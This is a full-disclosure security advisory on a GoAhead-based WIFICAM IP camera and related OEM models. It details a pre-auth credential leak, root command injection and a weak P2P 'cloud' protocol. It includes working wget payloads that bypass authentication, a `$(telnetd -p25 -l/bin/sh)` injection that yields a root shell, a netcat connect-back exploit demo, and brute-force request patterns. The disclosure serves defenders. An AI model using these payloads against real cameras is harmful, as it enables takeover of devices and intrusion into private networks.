## Vulnerabilities Summary
The Wireless IP Camera (P2) WIFICAM is a camera overall badly designed
with a lot of vulnerabilities.
This camera is very similar to a lot of other Chinese cameras.
It seems that a generic camera is being sold by a Chinese company in
bulk (OEM) and
the buyer companies resell them with custom software development and
specific branding. Wireless IP Camera (P2) WIFICAM is one of the
branded cameras.
So, cameras are sold under different names, brands and functions. The HTTP
interface is different for each vendor but shares the same vulnerabilities.
Because of code reusing, the vulnerabilities are present in a huge
list of cameras (especially the InfoLeak and the RCE),
which allow to execute root commands against 1250+ camera models with
a pre-auth vulnerability.
The summary of the vulnerabilities is:
1. Backdoor account
2. RSA key and certificates
3. Pre-Auth Info Leak (credentials) within the GoAhead http server
4. Authenticated RCE as root
5. Pre-Auth RCE as root
6. Misc - Streaming without authentication
7. Misc - "Cloud" (Aka Botnet)
The vulnerabilities in the Cloud management affect a lot of P2P or
"Cloud" cameras.
My tests have shown that the InfoLeak affecting the GoAhead server
running on the camera affects at least 1250+ camera models. It can be
used to execute the RCE as root.
Thus, these cameras are likely affected by a pre-auth RCE as root:

## Details - Pre-Auth Info Leak (credentials) within the GoAhead http server
The HTTP interface is provided by GoAhead. It allows 2 kinds of authentication:
- - htdigest authentication OR
- - authentication using credentials in URI (`?loginuse=LOGIN&?loginpas=PASS`).
By default, the web directory contains symbolic links to configuration
files (`system.ini` and `system-b.ini` contain credentials):
/tmp/web # ls -la *ini
lrwxrwxrwx 1 root 0 25 Oct 27 02:11
factory.ini -> /system/param/factory.ini
lrwxrwxrwx 1 root 0 30 Oct 27 02:11
factoryparam.ini -> /system/param/factoryparam.ini
lrwxrwxrwx 1 root 0 23 Oct 27 02:11
network-b.ini -> /system/www/network.ini
lrwxrwxrwx 1 root 0 23 Oct 27 02:11
network.ini -> /system/www/network.ini
lrwxrwxrwx 1 root 0 22 Oct 27 02:11
system-b.ini -> /system/www/system.ini
lrwxrwxrwx 1 root 0 22 Oct 27 02:11
system.ini -> /system/www/system.ini
/tmp/web #
With valid credentials, an attacker can retrieve the configuration, as
shown below:
user@...i$ wget -qO- 'http://admin:admin@....168.1.107/system.ini'|xxd

user@...i$
To browse `.cgi` files, an attacker needs to authenticate too:
user@...i$ wget -qO-
'http://192.168.1.107/get_params.cgi?loginuse=BAD_LOGIN&loginpas=BAD_PASS'
var result="Auth Failed";
user@...i$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse&loginpas'
var result="Auth Failed";
But it appears access to `.ini` files are not correctly checked. The
attacker can bypass the authentication
by providing an empty `loginuse` and an empty `loginpas` in the URI:
user@...i$ wget -qO-
'http://192.168.1.107/system.ini?loginuse&loginpas'|xxd|less

This vulnerability allows an attacker to steal credentials, ftp
accounts and smtp accounts (email).
## Details - Authenticated RCE as root
A RCE exists in the ftp configuration CGI. This is well-documented as
shown https://jumpespjump.blogspot.de/2015/09/how-i-hacked-my-ip-camera-and-found.html
and https://www.pentestpartners.com/blog/hacking-the-aldi-ip-cctv-camera-part-2/
in several different camera models.
The partition `/` is mounted in Read-Only, so modifications are not
possible in this partition.
The command injection is located in in `set_ftp.cgi` (see `$(ftp x.com)`):
http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(ftp
x.com)ftp&dir=/&mode=PORT&upload_interval=0
http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin
When doing a tcpdump, we can see the DNS resolution for x.com:
00:00:00.151107 IP 192.168.1.107.33551 > 8.8.8.8.53: 40888+ A? x.com. (23)
so, `ftp x.com` is executed.
We can use the telnetd binary to start an authenticated-less telnetd access:
user@...i$ wget -qO-
'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd
-p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@...i$ wget -qO-
'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
Testing this will give us root account on port 25/tcp:
user@...i$ telnet 192.168.1.107 25
Trying 192.168.1.107...

## Details - Pre-Auth RCE as root
By combining the Pre-Auth Info Leak within the GoAhead http server
vulnerability and then authenticated RCE as root, an attacker can
achieve a pre-auth RCE as root on a LAN or on the Internet.
An exploit is provided and can be used to get a root RCE with connect-back.
The exploit will:
1. extract the valid credentials by connecting to the remote GoAhead
HTTP server of the targeted camera
2. plant a connect-back with `nc`
3. execute the payload
4. the attacker will receive a root shell with netcat on a second terminal
5. clean the payload located in the configuration file
It affects 1250+ camera models.
Demo:
user@...i$ gcc -Wall -o expl expl-goahead-camera.c && ./expl
192.168.1.107
Camera 0day root RCE with connect-back @PierreKimSec
Please run `nc -vlp 1337` on 192.168.1.1

## Details -- Misc - Streaming without authentication
An attacker can use the authenticated-less RTSP server running on the
camera on port `10554/tcp` to watch the streaming without
authentication.

And:

## Details -- Misc - "Cloud" (Aka Botnet)
By default, the camera uses a 'Cloud' functionality.
You can tcpdump the traffic of the camera, which is very scary:

The camera tries to resolve `www.baidu.com`, `openapi.xg.qq.com`,
contacts hardcoded IPs and hosts:
- - `121.42.208.86:32100/udp` (CN: Alibaba),
- - `54.221.213.97:32100/udp` (AWS US),
- - `120.24.37.48:32100/udp` (CN: Alibaba),
- - `www.baidu.com:80/tcp` (CN: Baidu).
It appears this is the 'Cloud' functionality, enabled by default. The
security of this functionality is not proven.
The provided Android application to manage my camera is
object.p2pwificam.client.apk
[https://play.google.com/store/apps/details?id=object.p2pwificam.client].
[please visit the HTML version at
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
to see the image]
Netcam 360 works too:
[please visit the HTML version at
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
to see the image]
It appears, the network protocol is very weak:
1. the camera contacts a remote server using UDP,
2. the application contacts a remote server using UDP,
3. the application sends a request to the remote server, asking if the
camera with the specific serial-number is online,
4. the server will reply by "camera doesn't exit", "camera is offline"
or "camera is online",
5. if the camera is online, a UDP tunnel is automaticaly established
between the application and the camera, using the Cloud server as a
relay.
### UDP tunnel:
[Android Application] <===UDP===> Cloud server <===UDP===> [Camera]
Then, the UDP tunnel is used by the application to reach the camera:
1/ the client will send a HTTP request to the camera with the
credentials (still in clear-text)
GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
or
GET /check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
2/ the camera will reply by using HTTP over UDP whenever the
credentials are valid or invalid.
If the credentials are valid, the camera will reply:
result= 0;
If the credentials are not valid, the camera will reply:
result=-1
3/ if the credentials are valid, then the application will send HTTP
requests to .cgi files hosted by the camera by appending credentials
to the requests (`?loginuse=valid_user&loginpas=valid_pass`)
### Step 2 in detail:
If the authentication is OK, so it is alright to dump all the
configuration in cleartext!
[please visit the HTML version at
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
to see the image]
Note: this trace was done with one of the application listed below, to
be sure applications are sharing the same "cloud" network (it appears
the daemon running on the camera doesn't strictly respect the HTTP
protocol - note the lack of `/` - but it works !).
If the authentication is not OK. The cameras answers:
result=-1;
Due to the absence of checking, an attacker can simply bruteforce credentials.
[please visit the HTML version at
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
to see the image]
### Step 3 in detail:
The application sends:
GET get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
OR
GET /get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
The camera replies by sending all its configuration in clear-text:
var now=1122211111;
var dst_enable=0;
var dst_time=0;
var tz=0;
var ntp_enable=1;
var ntp_svr="time.nist.gov";
var dhcpen=1;
var ip="192.168.2.76";
var mask="255.255.255.0";
var gateway="192.168.2.1";
var dns1="8.8.8.8";
var dns2="192.168.2.1";
var port=80;
var nashost="";
var nasport=0;
var dev2_host="";

var user1_pwd="";
var user2_name="wut";
var user2_pwd="wut";
var user3_name="admin";
var user3_pwd="admin";
[...]
This is interesting because an attacker can reach a camera only by
knowing a serial number. The UDP tunnel between the attacker and the
camera is established even if the attacker doesn't know the
credentials. It's useful to note the tunnel bypasses NAT and firewall,
allowing the attacker to reach internal cameras (if they are connected
to the Internet) and to bruteforce credentials.
Then, the attacker can just try to bruteforce credentials of the camera:
GET /get_params.cgi?&loginuse=admin&loginpas=TEST&user=admin&pwd=TEST&
This protocol appears to be common to a lot of Android applications, ie:
- - object.p2pwificam.client
(https://play.google.com/store/apps/details?id=object.p2pwificam.client)

This list is very far from being complete.
So, I modified the original Android Application in order to try the
pre-auth Info-Leak vulnerability:

I edit the library which manages all the custom HTTP requests.

`signed-object.p2pwificam.client.apk` is ready to be used.
When using it, we see that:
The client indeed sends the `system.ini` request within the UDP tunnel:

It appears the pre-auth is not easily reachable within the cloud network.
This "cloud" protocol seems to be more a botnet protocol than a legit
remote access protocol and has indeed weakness (everything in
clear-text, i.e. an attacker can attack cameras within the cloud and
leverage potential access to hack internal networks).
A lot of P2P ('Cloud') cameras are in fact using the same botnet
protocols and the same infrastructure seemingly to be managed by a
single entity.
Writing a PoC which bruteforces credentials of the remote camera is
left as an exercise for the reader.
## Vendor Response
Due to difficulties in finding and contacting all the vendors,
full-disclosure is applied.
I advise to IMMEDIATELY DISCONNECT cameras to the Internet. Hundreds
of thousands cameras are affected by the 0day Info-Leak. Millions of
them are using the insecure Cloud network.
